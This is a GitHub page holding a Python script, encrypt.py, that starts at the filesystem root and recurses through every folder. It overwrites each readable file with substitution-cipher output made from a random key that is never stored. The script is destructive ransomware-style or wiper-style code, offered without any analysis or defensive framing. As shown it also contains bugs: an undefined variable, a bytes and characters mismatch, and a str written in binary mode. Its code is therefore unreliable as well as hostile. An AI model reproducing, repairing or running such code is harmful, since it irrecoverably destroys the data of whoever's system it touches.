-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathencrypt.py
35 lines (30 loc) · 993 Bytes
/
encrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
import string
import random
import pathlib
import sys
import os
path = '/'
def encrypt_file(file):
char = list(" " + string.ascii_letters + string.digits + string.punctuation)
key = char.copy()
random.shuffle(key)
try:
with open(file, 'rb') as r_file:
data = r_file.read()
encrypt_text = ''
for letter in data:
index = chars.index(letter)
encrypt_text += key[index]
with open(file, 'wb') as w_file:
w_file.write(encrypt_text)
print(f'{file} encrypt')
except PermissionError:
pass
def encrypt_folder(path=path):
for file in pathlib.Path(path).glob('*'):
if os.path.isfile(file):
encrypt_file(file)
else:
encrypt_folder(file)
encrypt_folder()